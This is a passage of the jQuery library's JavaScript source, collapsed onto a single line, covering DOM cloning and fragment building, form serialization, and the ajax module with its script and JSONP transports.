reasons: http://jsperf.com/getall-vs-sizzle/2 destElements = getAll( clone ); srcElements = getAll( elem ); for ( i = 0, l = srcElements.length; i < l; i++ ) { fixInput( srcElements[ i ], destElements[ i ] ); } } // Copy the events from the original to the clone if ( dataAndEvents ) { if ( deepDataAndEvents ) { srcElements = srcElements || getAll( elem ); destElements = destElements || getAll( clone ); for ( i = 0, l = srcElements.length; i < l; i++ ) { cloneCopyEvent( srcElements[ i ], destElements[ i ] ); } } else { cloneCopyEvent( elem, clone ); } } // Preserve script evaluation history destElements = getAll( clone, "script" ); if ( destElements.length > 0 ) { setGlobalEval( destElements, !inPage && getAll( elem, "script" ) ); } // Return the cloned set return clone; }, buildFragment: function( elems, context, scripts, selection ) { var elem, tmp, tag, wrap, contains, j, i = 0, l = elems.length, fragment = context.createDocumentFragment(), nodes = []; for ( ; i < l; i++ ) { elem = elems[ i ]; if ( elem || elem === 0 ) { // Add nodes directly if ( jQuery.type( elem ) === "object" ) { // Support: QtWebKit // jQuery.merge because core_push.apply(_, arraylike) throws jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem ); // Convert non-html into a text node } else if ( !rhtml.test( elem ) ) { nodes.push( context.createTextNode( elem ) ); // Convert html into DOM nodes } else { tmp = tmp || fragment.appendChild( context.createElement("div") ); // Deserialize a standard representation tag = ( rtagName.exec( elem ) || ["", ""] )[ 1 ].toLowerCase(); wrap = wrapMap[ tag ] || wrapMap._default; tmp.innerHTML = wrap[ 1 ] + elem.replace( rxhtmlTag, "<$1></$2>" ) + wrap[ 2 ]; // Descend through wrappers to the right content j = wrap[ 0 ]; while ( j-- ) { tmp = tmp.lastChild; } // Support: QtWebKit // jQuery.merge because core_push.apply(_, arraylike) throws jQuery.merge( nodes, tmp.childNodes ); // Remember the top-level container tmp = fragment.firstChild; // Fixes #12346 // Support: Webkit, IE tmp.textContent = ""; } } } // Remove wrapper from fragment fragment.textContent = ""; i = 0; while ( (elem = nodes[ i++ ]) ) { // #4087 - If origin and destination elements are the same, and this is // that element, do not do anything if ( selection && jQuery.inArray( elem, selection ) !== -1 ) { continue; } contains = jQuery.contains( elem.ownerDocument, elem ); // Append to fragment tmp = getAll( fragment.appendChild( elem ), "script" ); // Preserve script evaluation history if ( contains ) { setGlobalEval( tmp ); } // Capture executables if ( scripts ) { j = 0; while ( (elem = tmp[ j++ ]) ) { if ( rscriptType.test( elem.type || "" ) ) { scripts.push( elem ); } } } } return fragment; }, cleanData: function( elems ) { var data, elem, events, type, key, j, special = jQuery.event.special, i = 0; for ( ; (elem = elems[ i ]) !== undefined; i++ ) { if ( Data.accepts( elem ) ) { key = elem[ data_priv.expando ]; if ( key && (data = data_priv.cache[ key ]) ) { events = Object.keys( data.events || {} ); if ( events.length ) { for ( j = 0; (type = events[j]) !== undefined; j++ ) { if ( special[ type ] ) { jQuery.event.remove( elem, type ); // This is a shortcut to avoid jQuery.event.remove's overhead } else { jQuery.removeEvent( elem, type, data.handle ); } } } if ( data_priv.cache[ key ] ) { // Discard any remaining `private` data delete data_priv.cache[ key ]; } } } // Discard any remaining `user` data delete data_user.cache[ elem[ data_user.expando ] ]; } }, _evalUrl: function( url ) { return jQuery.ajax({ url: url, type: "GET", dataType: "script", async: false, global: false, "throws": true }); } }); // Support: 1.x compatibility // Manipulating tables requires a tbody function manipulationTarget( elem, content ) { return jQuery.nodeName( elem, "table" ) && jQuery.nodeName( content.nodeType === 1 ? content : content.firstChild, "tr" ) ? elem.getElementsByTagName("tbody")[0] || elem.appendChild( elem.ownerDocument.createElement("tbody") ) : elem; } // Replace/restore the type attribute of script elements for safe DOM manipulation function disableScript( elem ) { elem.type = (elem.getAttribute("type") !== null) + "/" + elem.type; return elem; } function restoreScript( elem ) { var match = rscriptTypeMasked.exec( elem.type ); if ( match ) { elem.type = match[ 1 ]; } else { elem.removeAttribute("type"); } return elem; } // Mark scripts as having already been evaluated function setGlobalEval( elems, refElements ) { var l = elems.length, i = 0; for ( ; i < l; i++ ) { data_priv.set( elems[ i ], "globalEval", !refElements || data_priv.get( refElements[ i ], "globalEval" ) ); } } function cloneCopyEvent( src, dest ) { var i, l, type, pdataOld, pdataCur, udataOld, udataCur, events; if ( dest.nodeType !== 1 ) { return; } // 1. Copy private data: events, handlers, etc. if ( data_priv.hasData( src ) ) { pdataOld = data_priv.access( src ); pdataCur = data_priv.set( dest, pdataOld ); events = pdataOld.events; if ( events ) { delete pdataCur.handle; pdataCur.events = {}; for ( type in events ) { for ( i = 0, l = events[ type ].length; i < l; i++ ) { jQuery.event.add( dest, type, events[ type ][ i ] ); } } } } // 2. Copy user data if ( data_user.hasData( src ) ) { udataOld = data_user.access( src ); udataCur = jQuery.extend( {}, udataOld ); data_user.set( dest, udataCur ); } } function getAll( context, tag ) { var ret = context.getElementsByTagName ? context.getElementsByTagName( tag || "*" ) : context.querySelectorAll ? context.querySelectorAll( tag || "*" ) : []; return tag === undefined || tag && jQuery.nodeName( context, tag ) ? jQuery.merge( [ context ], ret ) : ret; } // Support: IE >= 9 function fixInput( src, dest ) { var nodeName = dest.nodeName.toLowerCase(); // Fails to persist the checked state of a cloned checkbox or radio button. if ( nodeName === "input" && manipulation_rcheckableType.test( src.type ) ) { dest.checked = src.checked; // Fails to return the selected option to the default selected state when cloning options } else if ( nodeName === "input" || nodeName === "textarea" ) { dest.defaultValue = src.defaultValue; } } jQuery.fn.extend({ wrapAll: function( html ) { var wrap; if ( jQuery.isFunction( html ) ) { return this.each(function( i ) { jQuery( this ).wrapAll( html.call(this, i) ); }); } if ( this[ 0 ] ) { // The elements to wrap the target around wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true ); if ( this[ 0 ].parentNode ) { wrap.insertBefore( this[ 0 ] ); } wrap.map(function() { var elem = this; while ( elem.firstElementChild ) { elem = elem.firstElementChild; } return elem; }).append( this ); } return this; }, wrapInner: function( html ) { if ( jQuery.isFunction( html ) ) { return this.each(function( i ) { jQuery( this ).wrapInner( html.call(this, i) ); }); } return this.each(function() { var self = jQuery( this ), contents = self.contents(); if ( contents.length ) { contents.wrapAll( html ); } else { self.append( html ); } }); }, wrap: function( html ) { var isFunction = jQuery.isFunction( html ); return this.each(function( i ) { jQuery( this ).wrapAll( isFunction ? html.call(this, i) : html ); }); }, unwrap: function() { return this.parent().each(function() { if ( !jQuery.nodeName( this, "body" ) ) { jQuery( this ).replaceWith( this.childNodes ); } }).end(); } }); var r20 = /%20/g, rbracket = /\[\]$/, rCRLF = /\r?\n/g, rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i, rsubmittable = /^(?:input|select|textarea|keygen)/i; jQuery.fn.extend({ serialize: function() { return jQuery.param( this.serializeArray() ); }, serializeArray: function() { return this.map(function(){ // Can add propHook for "elements" to filter or add form elements var elements = jQuery.prop( this, "elements" ); return elements ? jQuery.makeArray( elements ) : this; }) .filter(function(){ var type = this.type; // Use .is(":disabled") so that fieldset[disabled] works return this.name && !jQuery( this ).is( ":disabled" ) && rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) && ( this.checked || !manipulation_rcheckableType.test( type ) ); }) .map(function( i, elem ){ var val = jQuery( this ).val(); return val == null ? null : jQuery.isArray( val ) ? jQuery.map( val, function( val ){ return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; }) : { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; }).get(); } }); //Serialize an array of form elements or a set of //key/values into a query string jQuery.param = function( a, traditional ) { var prefix, s = [], add = function( key, value ) { // If value is a function, invoke it and return its value value = jQuery.isFunction( value ) ? value() : ( value == null ? "" : value ); s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value ); }; // Set traditional to true for jQuery <= 1.3.2 behavior. if ( traditional === undefined ) { traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional; } // If an array was passed in, assume that it is an array of form elements. if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) { // Serialize the form elements jQuery.each( a, function() { add( this.name, this.value ); }); } else { // If traditional, encode the "old" way (the way 1.3.2 or older // did it), otherwise encode params recursively. for ( prefix in a ) { buildParams( prefix, a[ prefix ], traditional, add ); } } // Return the resulting serialization return s.join( "&" ).replace( r20, "+" ); }; function buildParams( prefix, obj, traditional, add ) { var name; if ( jQuery.isArray( obj ) ) { // Serialize array item. jQuery.each( obj, function( i, v ) { if ( traditional || rbracket.test( prefix ) ) { // Treat each array item as a scalar. add( prefix, v ); } else { // Item is non-scalar (array or object), encode its numeric index. buildParams( prefix + "[" + ( typeof v === "object" ? i : "" ) + "]", v, traditional, add ); } }); } else if ( !traditional && jQuery.type( obj ) === "object" ) { // Serialize object item. for ( name in obj ) { buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add ); } } else { // Serialize scalar item. add( prefix, obj ); } } var // Document location ajaxLocParts, ajaxLocation, ajax_nonce = jQuery.now(), ajax_rquery = /\?/, rhash = /#.*$/, rts = /([?&])_=[^&]*/, rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg, // #7653, #8125, #8152: local protocol detection rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, rnoContent = /^(?:GET|HEAD)$/, rprotocol = /^\/\//, rurl = /^([\w.+-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/, // Keep a copy of the old load method _load = jQuery.fn.load, /* Prefilters * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example) * 2) These are called: * - BEFORE asking for a transport * - AFTER param serialization (s.data is a string if s.processData is true) * 3) key is the dataType * 4) the catchall symbol "*" can be used * 5) execution will start with transport dataType and THEN continue down to "*" if needed */ prefilters = {}, /* Transports bindings * 1) key is the dataType * 2) the catchall symbol "*" can be used * 3) selection will start with transport dataType and THEN go to "*" if needed */ transports = {}, // Avoid comment-prolog char sequence (#10098); must appease lint and evade compression allTypes = "*/".concat("*"); // #8138, IE may throw an exception when accessing // a field from window.location if document.domain has been set try { ajaxLocation = location.href; } catch( e ) { // Use the href attribute of an A element // since IE will modify it given document.location ajaxLocation = document.createElement( "a" ); ajaxLocation.href = ""; ajaxLocation = ajaxLocation.href; } // Segment location into parts ajaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || []; // Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport function addToPrefiltersOrTransports( structure ) { // dataTypeExpression is optional and defaults to "*" return function( dataTypeExpression, func ) { if ( typeof dataTypeExpression !== "string" ) { func = dataTypeExpression; dataTypeExpression = "*"; } var dataType, i = 0, dataTypes = dataTypeExpression.toLowerCase().match( core_rnotwhite ) || []; if ( jQuery.isFunction( func ) ) { // For each dataType in the dataTypeExpression while ( (dataType = dataTypes[i++]) ) { // Prepend if requested if ( dataType[0] === "+" ) { dataType = dataType.slice( 1 ) || "*"; (structure[ dataType ] = structure[ dataType ] || []).unshift( func ); // Otherwise append } else { (structure[ dataType ] = structure[ dataType ] || []).push( func ); } } } }; } // Base inspection function for prefilters and transports function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) { var inspected = {}, seekingTransport = ( structure === transports ); function inspect( dataType ) { var selected; inspected[ dataType ] = true; jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) { var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR ); if( typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[ dataTypeOrTransport ] ) { options.dataTypes.unshift( dataTypeOrTransport ); inspect( dataTypeOrTransport ); return false; } else if ( seekingTransport ) { return !( selected = dataTypeOrTransport ); } }); return selected; } return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" ); } // A special extend for ajax options // that takes "flat" options (not to be deep extended) // Fixes #9887 function ajaxExtend( target, src ) { var key, deep, flatOptions = jQuery.ajaxSettings.flatOptions || {}; for ( key in src ) { if ( src[ key ] !== undefined ) { ( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ]; } } if ( deep ) { jQuery.extend( true, target, deep ); } return target; } jQuery.fn.load = function( url, params, callback ) { if ( typeof url !== "string" && _load ) { return _load.apply( this, arguments ); } var selector, type, response, self = this, off = url.indexOf(" "); if ( off >= 0 ) { selector = url.slice( off ); url = url.slice( 0, off ); } // If it's a function if ( jQuery.isFunction( params ) ) { // We assume that it's the callback callback = params; params = undefined; // Otherwise, build a param string } else if ( params && typeof params === "object" ) { type = "POST"; } // If we have elements to modify, make the request if ( self.length > 0 ) { jQuery.ajax({ url: url, // if "type" variable is undefined, then "GET" method will be used type: type, dataType: "html", data: params }).done(function( responseText ) { // Save response for use in complete callback response = arguments; self.html( selector ? // If a selector was specified, locate the right elements in a dummy div // Exclude scripts to avoid IE 'Permission Denied' errors jQuery("<div>").append( jQuery.parseHTML( responseText ) ).find( selector ) : // Otherwise use the full result responseText ); }).complete( callback && function( jqXHR, status ) { self.each( callback, response || [ jqXHR.responseText, status, jqXHR ] ); }); } return this; }; // Attach a bunch of functions for handling common AJAX events jQuery.each( [ "ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend" ], function( i, type ){ jQuery.fn[ type ] = function( fn ){ return this.on( type, fn ); }; }); jQuery.extend({ // Counter for holding the number of active queries active: 0, // Last-Modified header cache for next request lastModified: {}, etag: {}, ajaxSettings: { url: ajaxLocation, type: "GET", isLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ), global: true, processData: true, async: true, contentType: "application/x-www-form-urlencoded; charset=UTF-8", /* timeout: 0, data: null, dataType: null, username: null, password: null, cache: null, throws: false, traditional: false, headers: {}, */ accepts: { "*": allTypes, text: "text/plain", html: "text/html", xml: "application/xml, text/xml", json: "application/json, text/javascript" }, contents: { xml: /xml/, html: /html/, json: /json/ }, responseFields: { xml: "responseXML", text: "responseText", json: "responseJSON" }, // Data converters // Keys separate source (or catchall "*") and destination types with a single space converters: { // Convert anything to text "* text": String, // Text to html (true = no transformation) "text html": true, // Evaluate text as a json expression "text json": jQuery.parseJSON, // Parse text as xml "text xml": jQuery.parseXML }, // For options that shouldn't be deep extended: // you can add your own custom options here if // and when you create one that shouldn't be // deep extended (see ajaxExtend) flatOptions: { url: true, context: true } }, // Creates a full fledged settings object into target // with both ajaxSettings and settings fields. // If target is omitted, writes into ajaxSettings. ajaxSetup: function( target, settings ) { return settings ? // Building a settings object ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) : // Extending ajaxSettings ajaxExtend( jQuery.ajaxSettings, target ); }, ajaxPrefilter: addToPrefiltersOrTransports( prefilters ), ajaxTransport: addToPrefiltersOrTransports( transports ), // Main method ajax: function( url, options ) { // If url is an object, simulate pre-1.5 signature if ( typeof url === "object" ) { options = url; url = undefined; } // Force options to be an object options = options || {}; var transport, // URL without anti-cache param cacheURL, // Response headers responseHeadersString, responseHeaders, // timeout handle timeoutTimer, // Cross-domain detection vars parts, // To know if global events are to be dispatched fireGlobals, // Loop variable i, // Create the final options object s = jQuery.ajaxSetup( {}, options ), // Callbacks context callbackContext = s.context || s, // Context for global events is callbackContext if it is a DOM node or jQuery collection globalEventContext = s.context && ( callbackContext.nodeType || callbackContext.jquery ) ? jQuery( callbackContext ) : jQuery.event, // Deferreds deferred = jQuery.Deferred(), completeDeferred = jQuery.Callbacks("once memory"), // Status-dependent callbacks statusCode = s.statusCode || {}, // Headers (they are sent all at once) requestHeaders = {}, requestHeadersNames = {}, // The jqXHR state state = 0, // Default abort message strAbort = "canceled", // Fake xhr jqXHR = { readyState: 0, // Builds headers hashtable if needed getResponseHeader: function( key ) { var match; if ( state === 2 ) { if ( !responseHeaders ) { responseHeaders = {}; while ( (match = rheaders.exec( responseHeadersString )) ) { responseHeaders[ match[1].toLowerCase() ] = match[ 2 ]; } } match = responseHeaders[ key.toLowerCase() ]; } return match == null ? null : match; }, // Raw string getAllResponseHeaders: function() { return state === 2 ? responseHeadersString : null; }, // Caches the header setRequestHeader: function( name, value ) { var lname = name.toLowerCase(); if ( !state ) { name = requestHeadersNames[ lname ] = requestHeadersNames[ lname ] || name; requestHeaders[ name ] = value; } return this; }, // Overrides response content-type header overrideMimeType: function( type ) { if ( !state ) { s.mimeType = type; } return this; }, // Status-dependent callbacks statusCode: function( map ) { var code; if ( map ) { if ( state < 2 ) { for ( code in map ) { // Lazy-add the new callback in a way that preserves old ones statusCode[ code ] = [ statusCode[ code ], map[ code ] ]; } } else { // Execute the appropriate callbacks jqXHR.always( map[ jqXHR.status ] ); } } return this; }, // Cancel the request abort: function( statusText ) { var finalText = statusText || strAbort; if ( transport ) { transport.abort( finalText ); } done( 0, finalText ); return this; } }; // Attach deferreds deferred.promise( jqXHR ).complete = completeDeferred.add; jqXHR.success = jqXHR.done; jqXHR.error = jqXHR.fail; // Remove hash character (#7531: and string promotion) // Add protocol if not provided (prefilters might expect it) // Handle falsy url in the settings object (#10093: consistency with old signature) // We also use the url parameter if available s.url = ( ( url || s.url || ajaxLocation ) + "" ).replace( rhash, "" ) .replace( rprotocol, ajaxLocParts[ 1 ] + "//" ); // Alias method option to type as per ticket #12004 s.type = options.method || options.type || s.method || s.type; // Extract dataTypes list s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().match( core_rnotwhite ) || [""]; // A cross-domain request is in order when we have a protocol:host:port mismatch if ( s.crossDomain == null ) { parts = rurl.exec( s.url.toLowerCase() ); s.crossDomain = !!( parts && ( parts[ 1 ] !== ajaxLocParts[ 1 ] || parts[ 2 ] !== ajaxLocParts[ 2 ] || ( parts[ 3 ] || ( parts[ 1 ] === "http:" ? "80" : "443" ) ) !== ( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === "http:" ? "80" : "443" ) ) ) ); } // Convert data if not already a string if ( s.data && s.processData && typeof s.data !== "string" ) { s.data = jQuery.param( s.data, s.traditional ); } // Apply prefilters inspectPrefiltersOrTransports( prefilters, s, options, jqXHR ); // If request was aborted inside a prefilter, stop there if ( state === 2 ) { return jqXHR; } // We can fire global events as of now if asked to fireGlobals = s.global; // Watch for a new set of requests if ( fireGlobals && jQuery.active++ === 0 ) { jQuery.event.trigger("ajaxStart"); } // Uppercase the type s.type = s.type.toUpperCase(); // Determine if request has content s.hasContent = !rnoContent.test( s.type ); // Save the URL in case we're toying with the If-Modified-Since // and/or If-None-Match header later on cacheURL = s.url; // More options handling for requests with no content if ( !s.hasContent ) { // If data is available, append data to url if ( s.data ) { cacheURL = ( s.url += ( ajax_rquery.test( cacheURL ) ? "&" : "?" ) + s.data ); // #9682: remove data so that it's not used in an eventual retry delete s.data; } // Add anti-cache in url if needed if ( s.cache === false ) { s.url = rts.test( cacheURL ) ? // If there is already a '_' parameter, set its value cacheURL.replace( rts, "$1_=" + ajax_nonce++ ) : // Otherwise add one to the end cacheURL + ( ajax_rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + ajax_nonce++; } } // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { if ( jQuery.lastModified[ cacheURL ] ) { jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] ); } if ( jQuery.etag[ cacheURL ] ) { jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] ); } } // Set the correct header, if data is being sent if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) { jqXHR.setRequestHeader( "Content-Type", s.contentType ); } // Set the Accepts header for the server, depending on the dataType jqXHR.setRequestHeader( "Accept", s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ? s.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) : s.accepts[ "*" ] ); // Check for headers option for ( i in s.headers ) { jqXHR.setRequestHeader( i, s.headers[ i ] ); } // Allow custom headers/mimetypes and early abort if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) { // Abort if not done already and return return jqXHR.abort(); } // aborting is no longer a cancellation strAbort = "abort"; // Install callbacks on deferreds for ( i in { success: 1, error: 1, complete: 1 } ) { jqXHR[ i ]( s[ i ] ); } // Get transport transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR ); // If no transport, we auto-abort if ( !transport ) { done( -1, "No Transport" ); } else { jqXHR.readyState = 1; // Send global event if ( fireGlobals ) { globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] ); } // Timeout if ( s.async && s.timeout > 0 ) { timeoutTimer = setTimeout(function() { jqXHR.abort("timeout"); }, s.timeout ); } try { state = 1; transport.send( requestHeaders, done ); } catch ( e ) { // Propagate exception as error if not done if ( state < 2 ) { done( -1, e ); // Simply rethrow otherwise } else { throw e; } } } // Callback for when everything is done function done( status, nativeStatusText, responses, headers ) { var isSuccess, success, error, response, modified, statusText = nativeStatusText; // Called once if ( state === 2 ) { return; } // State is "done" now state = 2; // Clear timeout if it exists if ( timeoutTimer ) { clearTimeout( timeoutTimer ); } // Dereference transport for early garbage collection // (no matter how long the jqXHR object will be used) transport = undefined; // Cache response headers responseHeadersString = headers || ""; // Set readyState jqXHR.readyState = status > 0 ? 4 : 0; // Determine if successful isSuccess = status >= 200 && status < 300 || status === 304; // Get response data if ( responses ) { response = ajaxHandleResponses( s, jqXHR, responses ); } // Convert no matter what (that way responseXXX fields are always set) response = ajaxConvert( s, response, jqXHR, isSuccess ); // If successful, handle type chaining if ( isSuccess ) { // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { modified = jqXHR.getResponseHeader("Last-Modified"); if ( modified ) { jQuery.lastModified[ cacheURL ] = modified; } modified = jqXHR.getResponseHeader("etag"); if ( modified ) { jQuery.etag[ cacheURL ] = modified; } } // if no content if ( status === 204 || s.type === "HEAD" ) { statusText = "nocontent"; // if not modified } else if ( status === 304 ) { statusText = "notmodified"; // If we have data, let's convert it } else { statusText = response.state; success = response.data; error = response.error; isSuccess = !error; } } else { // We extract error from statusText // then normalize statusText and status for non-aborts error = statusText; if ( status || !statusText ) { statusText = "error"; if ( status < 0 ) { status = 0; } } } // Set data for the fake xhr object jqXHR.status = status; jqXHR.statusText = ( nativeStatusText || statusText ) + ""; // Success/Error if ( isSuccess ) { deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] ); } else { deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] ); } // Status-dependent callbacks jqXHR.statusCode( statusCode ); statusCode = undefined; if ( fireGlobals ) { globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError", [ jqXHR, s, isSuccess ? success : error ] ); } // Complete completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] ); if ( fireGlobals ) { globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] ); // Handle the global AJAX counter if ( !( --jQuery.active ) ) { jQuery.event.trigger("ajaxStop"); } } } return jqXHR; }, getJSON: function( url, data, callback ) { return jQuery.get( url, data, callback, "json" ); }, getScript: function( url, callback ) { return jQuery.get( url, undefined, callback, "script" ); } }); jQuery.each( [ "get", "post" ], function( i, method ) { jQuery[ method ] = function( url, data, callback, type ) { // shift arguments if data argument was omitted if ( jQuery.isFunction( data ) ) { type = type || callback; callback = data; data = undefined; } return jQuery.ajax({ url: url, type: method, dataType: type, data: data, success: callback }); }; }); /* Handles responses to an ajax request: * - finds the right dataType (mediates between content-type and expected dataType) * - returns the corresponding response */ function ajaxHandleResponses( s, jqXHR, responses ) { var ct, type, finalDataType, firstDataType, contents = s.contents, dataTypes = s.dataTypes; // Remove auto dataType and get content-type in the process while( dataTypes[ 0 ] === "*" ) { dataTypes.shift(); if ( ct === undefined ) { ct = s.mimeType || jqXHR.getResponseHeader("Content-Type"); } } // Check if we're dealing with a known content-type if ( ct ) { for ( type in contents ) { if ( contents[ type ] && contents[ type ].test( ct ) ) { dataTypes.unshift( type ); break; } } } // Check to see if we have a response for the expected dataType if ( dataTypes[ 0 ] in responses ) { finalDataType = dataTypes[ 0 ]; } else { // Try convertible dataTypes for ( type in responses ) { if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[0] ] ) { finalDataType = type; break; } if ( !firstDataType ) { firstDataType = type; } } // Or just use first one finalDataType = finalDataType || firstDataType; } // If we found a dataType // We add the dataType to the list if needed // and return the corresponding response if ( finalDataType ) { if ( finalDataType !== dataTypes[ 0 ] ) { dataTypes.unshift( finalDataType ); } return responses[ finalDataType ]; } } /* Chain conversions given the request and the original response * Also sets the responseXXX fields on the jqXHR instance */ function ajaxConvert( s, response, jqXHR, isSuccess ) { var conv2, current, conv, tmp, prev, converters = {}, // Work with a copy of dataTypes in case we need to modify it for conversion dataTypes = s.dataTypes.slice(); // Create converters map with lowercased keys if ( dataTypes[ 1 ] ) { for ( conv in s.converters ) { converters[ conv.toLowerCase() ] = s.converters[ conv ]; } } current = dataTypes.shift(); // Convert to each sequential dataType while ( current ) { if ( s.responseFields[ current ] ) { jqXHR[ s.responseFields[ current ] ] = response; } // Apply the dataFilter if provided if ( !prev && isSuccess && s.dataFilter ) { response = s.dataFilter( response, s.dataType ); } prev = current; current = dataTypes.shift(); if ( current ) { // There's only work to do if current dataType is non-auto if ( current === "*" ) { current = prev; // Convert response if prev dataType is non-auto and differs from current } else if ( prev !== "*" && prev !== current ) { // Seek a direct converter conv = converters[ prev + " " + current ] || converters[ "* " + current ]; // If none found, seek a pair if ( !conv ) { for ( conv2 in converters ) { // If conv2 outputs current tmp = conv2.split( " " ); if ( tmp[ 1 ] === current ) { // If prev can be converted to accepted input conv = converters[ prev + " " + tmp[ 0 ] ] || converters[ "* " + tmp[ 0 ] ]; if ( conv ) { // Condense equivalence converters if ( conv === true ) { conv = converters[ conv2 ]; // Otherwise, insert the intermediate dataType } else if ( converters[ conv2 ] !== true ) { current = tmp[ 0 ]; dataTypes.unshift( tmp[ 1 ] ); } break; } } } } // Apply converter (if not an equivalence) if ( conv !== true ) { // Unless errors are allowed to bubble, catch and return them if ( conv && s[ "throws" ] ) { response = conv( response ); } else { try { response = conv( response ); } catch ( e ) { return { state: "parsererror", error: conv ? e : "No conversion from " + prev + " to " + current }; } } } } } } return { state: "success", data: response }; } // Install script dataType jQuery.ajaxSetup({ accepts: { script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript" }, contents: { script: /(?:java|ecma)script/ }, converters: { "text script": function( text ) { jQuery.globalEval( text ); return text; } } }); // Handle cache's special case and crossDomain jQuery.ajaxPrefilter( "script", function( s ) { if ( s.cache === undefined ) { s.cache = false; } if ( s.crossDomain ) { s.type = "GET"; } }); // Bind script tag hack transport jQuery.ajaxTransport( "script", function( s ) { // This transport only deals with cross domain requests if ( s.crossDomain ) { var script, callback; return { send: function( _, complete ) { script = jQuery("<script>").prop({ async: true, charset: s.scriptCharset, src: s.url }).on( "load error", callback = function( evt ) { script.remove(); callback = null; if ( evt ) { complete( evt.type === "error" ? 404 : 200, evt.type ); } } ); document.head.appendChild( script[ 0 ] ); }, abort: function() { if ( callback ) { callback(); } } }; } }); var oldCallbacks = [], rjsonp = /(=)\?(?=&|$)|\?\?/; // Default jsonp settings jQuery.ajaxSetup({ jsonp: "callback", jsonpCallback: function() { var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( ajax_nonce++ ) ); this[ callback ] = true; return callback; } }); // Detect, normalize options and install callbacks for jsonp requests jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) { var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ? "url" : typeof s.data === "string" && !( s.contentType || "" ).indexOf("application/x-www-form-urlencoded") && rjsonp.test( s.data ) && "data" ); // Handle iff the expected data type is "jsonp" or we have a parameter to set if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) { // Get callback name, remembering preexisting value associated with it callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ? s.jsonpCallback() : s.jsonpCallback; // Insert callback into url or form data if ( jsonProp ) { s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName ); } else if ( s.jsonp !== false ) { s.url += ( ajax_rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName; } // Use data converter to retrieve json after script execution s.converters["script json"] = function() { if ( !responseContainer ) { jQuery.error( callbackName + " was not called" ); } return responseContainer[ 0 ]; }; // force json dataType s.dataTypes[ 0 ] = "json"; // Install callback overwritten = window[ callbackName ]; window[ callbackName ] = function() { responseContainer = arguments; }; // Clean-up function (fires after converters) jqXHR.always(function() { // Restore preexisting value window[ callbackName ] = overwritten; // Save back as free if ( s[ callbackName ] ) { // make sure that re-using the options doesn't screw things around s.jsonpCallback = originalSettings.jsonpCallback; // save the callback name for future use oldCallbacks.push( callbackName ); } // Call if it was a function and we have a response if ( responseContainer && jQuery.isFunction( overwritten ) ) { overwritten( responseContainer[ 0 ] ); } responseContainer = overwritten = undefined; }); // Delegate to script return "script"; } }); jQuery.ajaxSettings.xhr = function() { try { return new XMLHttpRequest(); } catch( e ) {} }; var xhrSupported = jQuery.ajaxSettings.xhr(), xhrSuccessStatus = { // file protocol always yields status code 0, assume 200 0: 200, // Support: IE9 // #1450: sometimes IE returns 1223 when it should be 204 1223: 204 }, // Support: IE9 // We need to keep track of outbound xhr and abort them manually // because IE is not smart enough to do it all by itself xhrId = 0, xhrCallbacks = {}; if ( window.ActiveXObject ) { jQuery( window ).on( "unload", function() { for( var key in xhrCallbacks ) { xhrCallbacks[ key ](); } xhrCallbacks = undefined; }); } jQuery.support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported ); jQuery.support.ajax = xhrSupported = !!xhrSupported; jQuery.ajaxTransport(function( options ) { var callback; // Cross domain only allowed if supported through XMLHttpRequest if ( jQuery.support.cors || xhrSupported && !options.crossDomain ) { 